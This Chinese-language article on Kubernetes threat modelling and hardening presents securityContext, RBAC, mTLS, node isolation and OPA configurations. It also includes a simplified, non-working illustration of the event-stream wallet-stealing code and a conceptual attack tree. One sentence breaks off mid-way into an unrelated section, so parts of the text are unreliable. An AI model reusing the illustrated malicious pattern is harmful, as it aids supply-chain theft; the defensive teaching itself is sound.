威脅模型不是一成不變的,它應該隨著系統的演化而更新。當我幫助客戶建立 Kubernetes 威脅模型時,經常強調這是一個持續性的過程,而非一次性工作。

威脅模型擴充套件問題

隨著 Kubernetes 環境的複雜性增加,威脅模型可能面臨擴充套件問題(Threat Model Explosion, TME)。當叢集規模擴大、服務增多、依賴關係複雜化時,威脅模型可能變得難以管理。

我曾遇到一個案例,客戶的 Kubernetes 叢集從最初的 10 個微服務擴充套件到超過 100 個,威脅模型變得極其複雜。解決這個問題的方法是採用分層威脅模型:

  1. 叢集層級威脅模型 - 關注基礎設施與控制平面
  2. 名稱空間層級威脅模型 - 針對特定業務領域
  3. 應用層級威脅模型 - 專注於單個應用的安全需求

這種分層方法讓威脅模型更易於管理和更新,同時確保不同層級的安全關注點得到充分考量。

Pod 安全與威脅模型

在 Kubernetes 威脅模型中,Pod 是一個核心關注點。Pod 作為最小的佈署單位,其安全設定直接影響整體安全態勢。

Pod 設定與威脅

Pod 設定中的安全相關欄位包括:

apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
  labels:
    app: secure-app
spec:
  securityContext:
    runAsNonRoot: true
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app-container
    image: my-secure-app:latest
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop: ["ALL"]

這個 Pod 設定範例實施了多層安全控制:

  • runAsNonRoot: true 確保容器不會以 root 身份執行,這是防止許可權提升攻擊的基本措施
  • seccompProfile 限制了可用的系統呼叫,減少攻擊面
  • allowPrivilegeEscalation: false 防止容器取得額外許可權
  • readOnlyRootFilesystem: true 使容器根檔案系統為只讀,防止攻擊者修改系統檔案
  • capabilities: drop: ["ALL"] 移除所有 Linux 特權,遵循最小許可權原則

這些安全設定共同構建了一個防禦層,大幅降低了 Pod 被成功攻擊的可能性。

儲存威脅與防護

Kubernetes 儲存是威脅模型中另一個重要維度。儲存威脅主要涉及:

  1. 卷掛載導致的容器隔離破壞
  2. 主機掛載帶來的安全風險
  3. 敏感資料洩露

當容器掛載主機路徑時,可能導致嚴重的安全問題。例如,掛載 /var/run/docker.sock 可能允許容器控制主機上的 Docker 守護程式,這實際上是一種容器逃逸。

在設計儲存安全策略時,我建議遵循以下原則:

  1. 避免使用 hostPath 卷,除非絕對必要
  2. 使用 PodSecurityPolicy 或 Pod Security Admission 限制卷型別
  3. 對敏感資料使用加密儲存
  4. 考慮使用 CSI 驅動程式提供的安全功能

理解威脅行為者與攻擊模式

威脅行為者型別

安全威脅不僅來自技術漏洞,更源於不同型別的攻擊者。根據我的經驗,Kubernetes 環境中的威脅行為者大致可分為以下幾類別:

  1. 外部攻擊者 - 尋找暴露的服務和 API 端點
  2. 內部威脅 - 具有合法存取許可權但意圖惡意的人員
  3. 偶然威脅 - 無意中造成安全問題的管理員或開發人員
  4. 持久威脅行為者 - 具有高階技能和資源的組織或團體

每種威脅行為者都有不同的動機、能力和攻擊模式。例如,外部攻擊者可能專注於發現暴露的 Kubernetes API 伺服器,而內部威脅可能濫用已有的許可權存取敏感資料。

攻擊樹分析

攻擊樹是一種視覺化潛在攻擊路徑的有效工具。它從攻擊者的角度出發,分析實作特定目標的可能路徑。

以下是 Kubernetes 環境中一個簡化的攻擊樹範例:

目標: 取得叢集中的敏感資料
├── 利用暴露的 Kubernetes API
│   ├── 尋找未受保護的 API 端點
│   ├── 利用 RBAC 設定錯誤
│   └── 利用 API 伺服器漏洞
├── 攻擊執行中的 Pod
│   ├── 利用容器漏洞取得 Pod 存取權
│   ├── 側向移動到其他 Pod
│   └── 存取掛載的 Secret 卷
└── 攻擊 etcd 資料函式庫
    ├── 尋找未加密的 etcd 例項
    ├── 擷取 etcd 通訊
    └── 從備份中還原 etcd 資料

透過構建這樣的攻擊樹,我們可以更系統地分析潛在威脅,並針對性地實施安全控制。在我的實踐中,攻擊樹已成為與團隊溝通安全風險的有效工具,它

Kubernetes生態系統中的供應鏈安全風險

在容器化應用程式開發的世界中,供應鏈安全已成為一個不可忽視的關鍵領域。供應鏈攻擊的特點在於攻擊者不直接針對最終目標,而是尋找上游依賴項中的漏洞。這種攻擊方式之所以如此危險,正是因為它能夠透過被信任的管道傳播惡意程式碼。

npm event-stream事件:供應鏈攻擊的經典案例

2018年的npm event-stream事件是理解供應鏈風險的一個絕佳案例。這次事件中,一個被廣泛使用的JavaScript函式庫被惡意接管,並植入了竊取加密貨幣的程式碼。

// 原始event-stream函式庫中被植入的惡意程式碼(簡化範例)
const flatmap = require('flatmap');

module.exports = function(data) {
  // 看似正常的功能
  const result = flatmap(data, item => item);
  
  // 隱藏的惡意程式碼
  if (process.env.npm_package_description && process.env.npm_package_description.indexOf('wallet') > -1) {
    // 竊取加密貨幣錢包資訊的程式碼
    const steal = require('./hidden-module');
    steal.sendWalletInfo();
  }
  
  return result;
}

這個簡化的範例展示了攻擊者如何在看似正常的程式碼中嵌入惡意功能。特別值得注意的是,惡意程式碼只在特定條件下執行(當套件描述中包含"wallet"字眼時),這使得惡意行為更難被檢測。攻擊者使用了環境變數檢查來確定目標,並且只在特定情況下才載入隱藏模組執行竊取操作,這種選擇性觸發機制大大增加了檢測難度。

供應鏈攻擊的上游策略

攻擊者選擇供應鏈作為目標並非偶然。相比直接攻擊最終產品,上游供應鏈提供了幾個顯著優勢:

  1. 放大效應:一個上游元件可能被數千甚至數百萬個下游專案使用
  2. 信任濫用:下游專案往往對上游依賴存在隱含信任
  3. 檢測難度:惡意程式碼混雜在大量正常程式碼中更難被發現

在Kubernetes生態系統中,供應鏈攻擊可能針對多個層面:

基礎映像層 → 應用程式依賴層 → Kubernetes設定層 → 佈署流程層

每一層都提供了不同的攻擊面,而安全團隊需要在所有層面實施防護措施。

工作負載安全:Kubernetes環境中的核心防線

Kubernetes工作負載代表在叢集中執行的應用程式,無論是佈署、有狀態集合s還是DaemonSets。保護這些工作負載是Kubernetes安全策略的核心。

工作負載身份與認證

在多租戶Kubernetes環境中,工作負載身份是隔離和許可權控制的基礎。傳統上,Kubernetes使用服務帳戶(Service Accounts)來提供身份,但這種機制存在一些侷限性。

apiVersion: v1
kind: ServiceAccount
metadata:
  name: restricted-app
  namespace: production
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: minimal-permissions
  namespace: production
rules:
- apiGroups: [""]
  resources: ["configmaps"]
  verbs: ["get"]
  resourceNames: ["app-config"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: restricted-app-binding
  namespace: production
subjects:
- kind: ServiceAccount
  name: restricted-app
  namespace: production
roleRef:
  kind: Role
  name: minimal-permissions
  apiGroup: rbac.authorization.k8s.io

上面的YAML設定展示瞭如何為工作負載建立限制性服務帳戶。這個設定遵循最小許可權原則,只允許應用程式讀取特定的ConfigMap。透過三個相互關聯的資源(ServiceAccount、Role和RoleBinding),我們建立了精確的許可權邊界。特別注意resourceNames欄位,它將許可權範圍進一步縮小到特定資源,而不是所有ConfigMap。這種精細控制是防止許可權提升攻擊的關鍵實踐。

SPIFFE:加密強身份標準

為瞭解決傳統服務帳戶的侷限性,SPIFFE(Secure Production Identity Framework For Everyone)提供了一個更強大的工作負載身份框架。SPIFFE透過加密證書為工作負載提供身份,這些證書可用於工作負載間的相互認證。

# 使用spire-server建立工作負載註冊條目
spire-server entry create \
  -spiffeID spiffe://example.org/ns/default/sa/payment-service \
  -parentID spiffe://example.org/node/worker-1 \
  -selector k8s:ns:default \
  -selector k8s:sa:payment-service

這個命令示範瞭如何使用SPIRE(SPIFFE的一個實作)建立工作負載身份。命令中定義了一個SPIFFE ID,它遵循URI格式並包含名稱空間和服務帳戶訊息。parentID指定了工作負載執行的節點身份,而選擇器(selectors)定義了工作負載必須滿足的條件才能獲得此身份。這種方法將身份與加密證書繫結,提供了比Kubernetes原生服務帳戶更強的安全保證,特別是在工作負載間通訊時。

加密通訊與服務網格

在Kubernetes叢集中,工作負載間的通訊預設是未加密的,這為中間人攻擊和網路嗅探創造了機會。服務網格技術如Linkerd和Istio可以透明地為工作負載間通訊增加TLS加密。

apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:
  name: default
  namespace: istio-system
spec:
  mtls:
    mode: STRICT

這個Istio設定範例強制叢集中所有服務間通訊使用相互TLS(mTLS)加密。透過在istio-system名稱空間中設定此策略,它適用於整個網格。STRICT模式意味著只接受加密連線,拒絕任何明文流量。這種設定提供了強大的防禦層,防止網路層攻擊,同時服務之間的所有通訊都經過加密和身份驗證,大大提高了叢集的整體安全性。

節點池與工作負載隔離

在多租戶Kubernetes環境中,工作負載隔離是防止橫向移動攻擊的關鍵。節點池策略允許根據安全需求分離不同型別的工作負載。

節點池隔離策略

節點池是具有相同設定的節點集合。透過標籤和汙點(taints),我們可以確保特定工作負載只在特定節點上執行。

apiVersion: v1
kind: Node
metadata:
  name: high-security-node-1
  labels:
    security-level: high
    data-classification: sensitive
spec:
  taints:
  - key: security-level
    value: high
    effect: NoSchedule
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: payment-processor
spec:
  replicas: 3
  template:
    spec:
      nodeSelector:
        security-level: high
      tolerations:
      - key: security-level
        operator: Equal
        value: high
        effect: NoSchedule
      containers:
      - name: payment-app
        image: payment-processor:v1.2
        securityContext:
          readOnlyRootFilesystem: true
          allowPrivilegeEscalation: false

這個設定展示瞭如何使用節點標籤、汙點和容忍度來實作工作負載隔離。高安全性節點使用標籤標識其安全級別和資料分類別,同時應用汙點防止一般工作負載被排程到這些節點上。支付處理器佈署透過nodeSelector指定其需要高安全性節點,並使用tolerations表明它可以容忍這些節點的汙點。此外,容器還應用了安全上下文設定,如只讀根檔案系統和禁止許可權提升,進一步強化安全性。這種多層次方法確保敏感工作負載在適當隔離的環境中執行。

securityContext:容器級安全控制

Kubernetes的securityContext提供了容器級別的安全控制,是防止容器逃逸攻擊的重要工具。

apiVersion: v1
kind: Pod
metadata:
  name: hardened-pod
spec:
  securityContext:
    runAsNonRoot: true
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app
    image: myapp:1.0
    securityContext:
      allowPrivilegeEscalation: false
      capabilities:
        drop:
        - ALL
      readOnlyRootFilesystem: true

這個Pod設定展示了全面的securityContext設定。在Pod級別,我們強制以非root使用者執行並應用預設的seccomp設定檔案來限制系統呼叫。在容器級別,我們禁止許可權提升、移除所有Linux capabilities(即使是預設允許的),並使根檔案系統只讀。這些設定共同建立了一個最小特權環境,大大降低了容器逃逸的風險。即使應用程式被攻擊者控制,這些限制也會使攻擊者難以擴大影響範圍或逃離容器邊界。

零日漏洞與容器逃逸防護

零日漏洞是指尚未公開披露或修復的安全漏洞。在容器環境中,零日漏洞尤其危險,因為它們可能導致容器逃逸攻擊,使攻擊者獲得主機存取許可權。

容器逃逸技術與防禦

容器逃逸通常利用以下幾種技術:

  1. 核心漏洞利用
  2. 掛載主機敏感路徑
  3. 特權容器濫用
  4. 分享名稱空間漏洞

以下是一個強化Pod設定,設計用於防止常見的容器逃逸途徑:

apiVersion: v1
kind: Pod
metadata:
  name: escape-resistant-pod
spec:
  # Pod級安全上下文
  securityContext:
    runAsNonRoot: true
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app
    image: myapp:1.0
    # 容器級安全上下文
    securityContext:
      allowPrivilegeEscalation: false
      privileged: false
      readOnlyRootFilesystem: true
      capabilities:
        drop:
        - ALL
      # 限制系統呼叫
    resources:
      limits:
        memory: "256Mi"
        cpu: "500m"
    # 避免掛載敏感主機路徑
    volumeMounts:
    - name: app-data
      mountPath: /data
      readOnly: true
  # 不使用hostPath或敏感掛載
  volumes:
  - name: app-data
    emptyDir: {}

這個Pod設定實施了多層防禦策略來防止容器逃逸。首先,透過runAsNonRoot和seccompProfile限制了容器的系統呼叫能力。在容器級別,它禁止許可權提升和特權模式,移除所有Linux capabilities,並使根檔案系統只讀。資源限制防止了資源耗盡攻擊,而卷設定避免了使用hostPath等敏感掛載方式。這種設定遵循深度防禦原則,即使一層防禦被突破,其他層仍能提供保護。在實際佈署中,這些設定應該根據應用程式的最小需求進行調整,同時保持安全性。

使用者名稱空間漏洞

Linux使用者名稱空間是容器隔離的核心機制之一,但也是容器逃逸的常見目標。Kubernetes預設不啟用使用者名稱空間隔離,這可能導致安全風險。

apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: user-namespaces
handler: runsc
---
apiVersion: v1
kind: Pod
metadata:
  name: userns-pod
spec:
  runtimeClassName: user-namespaces
  containers:
  - name: app
    image: myapp:1.0

這個設定展示瞭如何使用RuntimeClass來指定替代容器執行時(如gVisor的runsc),它提供了更強的使用者名稱空間隔離。透過指定runtimeClassName,Pod將使用增強的隔離機制執行。這種方法特別適用於不信任的工作負載,因為它增加了額外的安全邊界。gVisor等技術透過在容器和主機核心之間增加一層抽象,減少了攻擊面,使得即使存在使用者名稱空間漏洞,攻擊者也難以利用它們逃離容器。

沙箱與策略執行

除了設定層面的安全控制外,強大的策略執行機制是Kubernetes安全的重要組成部分。

Open Policy Agent與準入控制

Open Policy Agent (OPA) 是一個通用策略引擎,可用於在Kubernetes中實施安全策略。透過Kubernetes的準入控制器,OPA可以在資源建立或修改時評估它們是否符合安全策略。

apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
  name: opa-validating-webhook
webhooks:
  - name: policy.opa.kubernetes.io
    clientConfig:
      service:
        name: opa
        namespace: opa
        path: "/v1/data/kubernetes/admission"
    rules:
      - operations: ["CREATE", "UPDATE"]
        apiGroups: ["*"]
        apiVersions: ["*"]
        resources: ["pods", "deployments"]
---
# OPA策略範例(Rego語法)
package kubernetes.admission

deny[msg] {
  input.request.kind.kind == "Pod"
  container := input.request.object.spec.containers[_]
  container.securityContext.privileged == true
  msg := sprintf("privileged container is not allowed: %v", [container.name])
}

這個設定展示瞭如何設定OPA作為Kubernetes的驗證准入Webhook。ValidatingWebhookConfiguration定義了哪些API請求應該傳送給OPA進行評估,在這個例子中是Pod和Deployment的建立和更新操作。下面的Rego策略定義了一個規則,拒絕任何嘗試使用特權容器的請求。當使用者嘗試佈署特權容器時,OPA會攔截請求並回傳錯誤訊息。這種策略執行機制允許安全團隊在叢集級別實施安全標準,而不依賴開發團隊的自律。Rego語言的強大表達能力使得複雜策略的實施變得可能,從簡單的黑名單到復雜的上下文感知規則。

服務網格與安全策略

服務網格不僅提供加密通訊,還可以實施網路政策和存取控制。

apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: payment-service-policy
  namespace: financial
spec:
  selector:
    matchLabels:
      app: payment-service
  rules:
  - from:
    - source:
        principals: ["cluster.local/ns/frontend/sa/web-ui"]
    to:
    - operation:
        methods: ["POST"]
        paths: ["/api/payments"]
    when:
    - key: request.headers[x-transaction-id]
      notValues: [""]

這個Istio授權策略展示瞭如何使用服務網格實施細粒度存取控制。策略指定只有帶有特定服務帳戶身份(web-ui)的前端服務才能向支付服務傳送POST請求,並且只能存取特定路徑(/api/payments)。此外,它要求所有請求必須包含非空的x-transaction-id頭部。這種多層次的存取控制不僅根據身份,還根據請求的內容和上下文,提供了比傳統網路政策更強大的安全控制。服務網格的優勢在於這些策略在資料平面透明實施,應用程式無需修改即可受益。

強化Kubernetes安全的實用策略

根據前面的分析,玄貓總結了一些強化Kubernetes環境安全的實用策略:

1. 建立供應鏈安全實踐

防範供應鏈攻擊需要全面的方法,包括:

  • 建立私有容器映像倉函式庫,實施嚴格的映像掃描政策
  • 使用軟體物料清單(SBOM)追蹤所有依賴項
  • 實施自動化依賴項檢查,識別已知漏洞
  • 定期稽核第三方依賴項的變更和維護狀態

2. 實施工作負載隔離與最小特權

  • 使用節點池和名稱空間隔離不同安全級別的工作負載
  • 為每個工作負載建立專用服務帳戶,並實施精確的RBAC許可權
  • 使用NetworkPolicy限制Pod間通訊
  • 在所有容器中實施全面的securityContext設定

3. 佈署深度防禦機制

  • 實施多層安全控制,不依賴單一防禦機制
  • 使用OPA或其他准入控制器在叢集級別強制執行安全策略
  • 考慮佈署增強型容器執行時(如gVisor)用於高風險工作負載
  • 實施執行時威脅檢測,監控異常行為

4. 加密與身份管理

  • 使用服務網格實施工作負載間的mTLS加密
  • 考慮採用SPIFFE/SPIRE等現代工作負載身份框架
  • 實施金鑰輪換策略,定期更新所有憑證和金鑰
  • 使用外部金鑰管理系統,而非依賴Kubernetes Secrets

5. 持續監控與回應

  • 佈署專用的Kubernetes安全監控解決方案
  • 建立容器逃逸和許可權提升的檢測機制
  • 實施自動化修復流程,快速應對已知漏洞
  • 定期進行滲透測試,驗證安全控制的有效性

Kubernetes的安全是一個多層次、持續演進的過程。透過深入理解供應鏈風險、工作負載安全和容器隔離機制,我們可以構建更安全的容器化環境。最重要的是採取防禦深度策略,不依賴單一安全控制,而是實施多層防禦機制,共同提供全面保護。

在容器化世界中,安全不再是佈署後的考慮因素,而應該是設計和開發過程的核心部分。透過將安全實踐融入DevOps流程(即DevSecOps),組織可以在保持敏捷性的同時,建立更安全的Kubernetes環境。這種平衡是現代雲原生應用安全的核心挑戰,也是我們必須不斷努力解決的問題。